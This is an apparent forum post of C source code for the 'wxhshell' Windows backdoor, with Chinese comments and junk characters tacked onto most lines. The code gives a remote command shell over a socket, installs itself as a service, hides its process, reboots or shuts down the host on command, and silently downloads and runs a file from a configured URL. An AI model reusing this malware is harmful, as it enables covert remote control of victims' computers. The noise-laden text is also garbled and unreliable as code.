  kll!tT-N-  
  // 帮助 r craf4%  
  case '?': { _[&V9 Jt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N,qo/At}R[  
    break; +7w5m  
  } rZdOU?U  
  // 安装 Jyg1z,B <  
  case 'i': { %]I#]jR  
    if(Install()) &zy%_U2%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AVD hgJv  
    else G?$o+Y'F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^L $`)Ja  
    break; E<+ G5j  
    } ~{lb`M^]h  
  // 卸载 X <8|uP4  
  case 'r': {  :'F,l:  
    if(Uninstall()) ,zx{RDI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B,%6sa~I  
    else 2fr%_GNu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \u`P(fI!K%  
    break; 69r%b7#  
    } B1|nT?}J(  
  // 显示 wxhshell 所在路径 xK_UkB-$i  
  case 'p': { z9IW&f~~P  
    char svExeFile[MAX_PATH]; VI4mEq,V  
    strcpy(svExeFile,"\n\r"); 95#]6*#[4!  
      strcat(svExeFile,ExeFile);  >I4BysR  
        send(wsh,svExeFile,strlen(svExeFile),0); ho{%7\  
    break; I1>f2/$z*  
    } Cydo~/  
  // 重启 DDR4h"Y  
  case 'b': { 3@x[M?$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #3 E"Ame  
    if(Boot(REBOOT)) of*T,MUI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uQdH ():  
    else { z{OL+-OY  
    closesocket(wsh); #Q7:Mu+  
    ExitThread(0); L^t%p1R  
    } /~'C!so[v  
    break; r~T!$Tb  
    } _@>*]g  
  // 关机 j}.gK6Yq*  
  case 'd': { D+uo gRS61  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v[uVAbfQ  
    if(Boot(SHUTDOWN)) V.`hk^V,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o`Z3}  
    else { aMe &4Q  
    closesocket(wsh); Vn5%%?]J  
    ExitThread(0); aB~k8]q.  
    }  m,+PYq  
    break; OAq-(_H  
    } l=XZBe*[g'  
  // 获取shell ?@@$)2_*u  
  case 's': { yWRIh*>nE  
    CmdShell(wsh); YM;ro5_KF  
    closesocket(wsh); !b!An; ',  
    ExitThread(0); BTr oe=R  
    break; A nl1+  
  } ]*a(^*}A%  
  // 退出 2i6=g<   
  case 'x': { -'miM ~kG[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LI}e_= E  
    CloseIt(wsh); )2y [#Blo  
    break; ! U@ETo  
    } X HJdynt/  
  // 离开 ek5j;%~g1  
  case 'q': { 2&S^\kf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~`e!$=  
    closesocket(wsh); ' u<IS/w  
    WSACleanup();  LkYcFD  
    exit(1); *%jXjTA0D  
    break; A*0X ~6W  
        } K3:z5j.X  
  } ]~  N.  
  } [.|& /O  
e^q^ AP+*  
  // 提示信息 Pn4.gabE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `/m] K ~~  
} hb8oq3*x  
  } NaoOgZ?  
_`=qc/-0  
  return; V#,|#2otZ  
} c(Y~5A{TXO  
m %+'St|qr  
// shell模块句柄 qh>An;:u  
int CmdShell(SOCKET sock) Yl au  
{ W<&/5s  
STARTUPINFO si; AUF[hzA  
ZeroMemory(&si,sizeof(si)); do^=Oq07$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c[M4l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Oq<3&*  
PROCESS_INFORMATION ProcessInfo; !8|r$mN8  
char cmdline[]="cmd"; uu]C;wl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k2->Z);X  
  return 0; MbYgGE,LA  
} A iR#:r  
?@x$ h  
// 自身启动模式 .mrv"k\<  
int StartFromService(void) iDDq<a.A  
{ >j]Gz-wC  
typedef struct p Cx_[#DrP  
{ EK>x\]O%T  
  DWORD ExitStatus; S`[(y?OF?  
  DWORD PebBaseAddress; 2IHS)kkT|  
  DWORD AffinityMask; _\dC<K *>  
  DWORD BasePriority; i88 5T '  
  ULONG UniqueProcessId; &0* l:uw  
  ULONG InheritedFromUniqueProcessId; aC9iNm8w  
}   PROCESS_BASIC_INFORMATION; NlhC7  
fMf;  
PROCNTQSIP NtQueryInformationProcess; c9H6\&  
7C2Xy>d~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; of7'?]w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8yI4=P"F,  
0*P-/)o x  
  HANDLE             hProcess; gmTBp}3  
  PROCESS_BASIC_INFORMATION pbi; se3EI1e  
.yTo)t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  3k6Dbz  
  if(NULL == hInst ) return 0; cJm},  
(`Y;U(n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c9uu4%KG6<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L1` ^M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \g]rOYW  
p{qA%D  
  if (!NtQueryInformationProcess) return 0; 8M3DG=D  
yp]vDm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z 5 .cfI[  
  if(!hProcess) return 0; {1UU `d  
[xfg6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &>.QDO  
:O,,fJ<x.O  
  CloseHandle(hProcess); "<^ Vp-7r  
Y._ACQG3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A0.xPru1p  
if(hProcess==NULL) return 0; ={h^X0<s9  
k%-y \WM  
HMODULE hMod; "7(@I^'t6  
char procName[255]; 0:`YY 8j1k  
unsigned long cbNeeded; ~PpU'[  
!: vQg+S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &% (1?\~u  
N-}OmcO]e  
  CloseHandle(hProcess); ):+^893)  
vcy(!r  
if(strstr(procName,"services")) return 1; // 以服务启动 bjj F{T  
U b\&k[F  
  return 0; // 注册表启动 e7Gb7c~  
} ga1b%5]v.  
ZS3T1 <z  
// 主模块 o+^e+ptc  
int StartWxhshell(LPSTR lpCmdLine) ]t17= Lr?  
{ 1G(wESe  
  SOCKET wsl; V~.SgbLc  
BOOL val=TRUE; \Ym$to  
  int port=0; `N7erM  
  struct sockaddr_in door; rP6k}  
l~f9F`~'  
  if(wscfg.ws_autoins) Install(); h4slQq~K  
NXOvC!<  
port=atoi(lpCmdLine); #N=_-  
2gvS`+<TP  
if(port<=0) port=wscfg.ws_port; Mns=X)/hc  
@[/!e`]+  
  WSADATA data; %<q"&]e,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oqK: 5|  
``Um$i~e%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x41t=E](  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "1P2`Ep;  
  door.sin_family = AF_INET; ,:81DA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $Ixd;`l*  
  door.sin_port = htons(port); z;0]T=g  
[ifQLsHA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OWN|W,  
closesocket(wsl); SN QLEe  
return 1; l29AC}^  
} ?K.!^G  
1Ji"z>H*  
  if(listen(wsl,2) == INVALID_SOCKET) { at3YL[,[Z  
closesocket(wsl); FzBny[F  
return 1; ,b+Hy`t  
} a  ?wg~|g  
  Wxhshell(wsl); 9FT==>  
  WSACleanup(); 3fop.%(  
wz:w6q  
return 0; }u5J<*:bZ  
7w0=i Z>K  
} #)6 bfyi-  
b\t@vMJ  
// 以NT服务方式启动 +hT9V1'-D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5'0kf7  
{ E?m W4?  
DWORD   status = 0; .e:+Ek+  
  DWORD   specificError = 0xfffffff; ,6U=F#z  
hn/SS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qbj:^{`>(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t6+>Zr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =\<!kJ\yH  
  serviceStatus.dwWin32ExitCode     = 0; OBPiLCq  
  serviceStatus.dwServiceSpecificExitCode = 0; 6z67%U*8r  
  serviceStatus.dwCheckPoint       = 0; KkHlMwv  
  serviceStatus.dwWaitHint       = 0; h/l?,7KHI  
N4 _V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~-(X\:z}  
  if (hServiceStatusHandle==0) return; ^A;ec h7I  
C4C!-12  
status = GetLastError(); pq5bK0N Q  
  if (status!=NO_ERROR) <DdzDbgax  
{ l)0yv2[h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .aIFm5N3?  
    serviceStatus.dwCheckPoint       = 0; T~N877  
    serviceStatus.dwWaitHint       = 0; A5dH*< }  
    serviceStatus.dwWin32ExitCode     = status; gm&O-N"= U  
    serviceStatus.dwServiceSpecificExitCode = specificError; w?c~be$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4_Rv}Y d  
    return; N<lf,zGw  
  } "\1V^2kMr  
yj`xOncE}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `VOLw*Ci  
  serviceStatus.dwCheckPoint       = 0; ]JHY(H2|  
  serviceStatus.dwWaitHint       = 0; "  6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SYK?5_804  
} (pQ$<c  
y\[GS2nTX  
// 处理NT服务事件,比如:启动、停止 a% 82I::t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %gx>|  
{ tgm(tDL  
switch(fdwControl) ngaQa-8w  
{ ),I7+rY  
case SERVICE_CONTROL_STOP: 7)3cq}]O  
  serviceStatus.dwWin32ExitCode = 0; k Nw3Qr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wsCT9&p  
  serviceStatus.dwCheckPoint   = 0; ok9G9|HA  
  serviceStatus.dwWaitHint     = 0; %6<2~  
  { ["?WVXCF8|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); < 'qtqUL\  
  } c\eT`.ENk  
  return; AqP\g k  
case SERVICE_CONTROL_PAUSE: l_*:StyR+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qT_E=)1  
  break; ?B,B<@='%  
case SERVICE_CONTROL_CONTINUE: t!vlZNc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 12%4>2}~>  
  break; d`Em) 3v  
case SERVICE_CONTROL_INTERROGATE: b(gcnSzM2  
  break; Fqp~1>wi  
}; \A3yM{G~+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F30jr6F\  
} zzBqb\Ky  
gIXc-=Ut  
// 标准应用程序主函数 A,#hYi=-,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zn{[]J  
{ m4@w M?  
&($Zs'X  
// 获取操作系统版本 (vf5qF^  
OsIsNt=GetOsVer(); 1]XIF?_D m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /-)|dP  
-`ykVH gg  
  // 从命令行安装 U^X8{,8O  
  if(strpbrk(lpCmdLine,"iI")) Install(); |k9A*7I  
s97L/iH  
  // 下载执行文件 6Bm2_B  
if(wscfg.ws_downexe) { 84dej<   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u~d&<_Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); DK;/eZe  
} OECXNx  
X{riI^(  
if(!OsIsNt) { r\66]u[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?|9$o/Q}  
HideProc(); dQL! >6a  
StartWxhshell(lpCmdLine); OG}D;Ew  
} ETVT.R8   
else >taZw '  
  if(StartFromService()) \ow0Y >  
  // 以服务方式启动 #TSLgV'U  
  StartServiceCtrlDispatcher(DispatchTable); $pGk%8l%  
else wen6"  
  // 普通方式启动 }t #Hq  
  StartWxhshell(lpCmdLine); f?C !Br}  
SB[,}h<u1  
return 0; /`Lki>"  
}
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只看该作者 1 发表于: 2006-10-10
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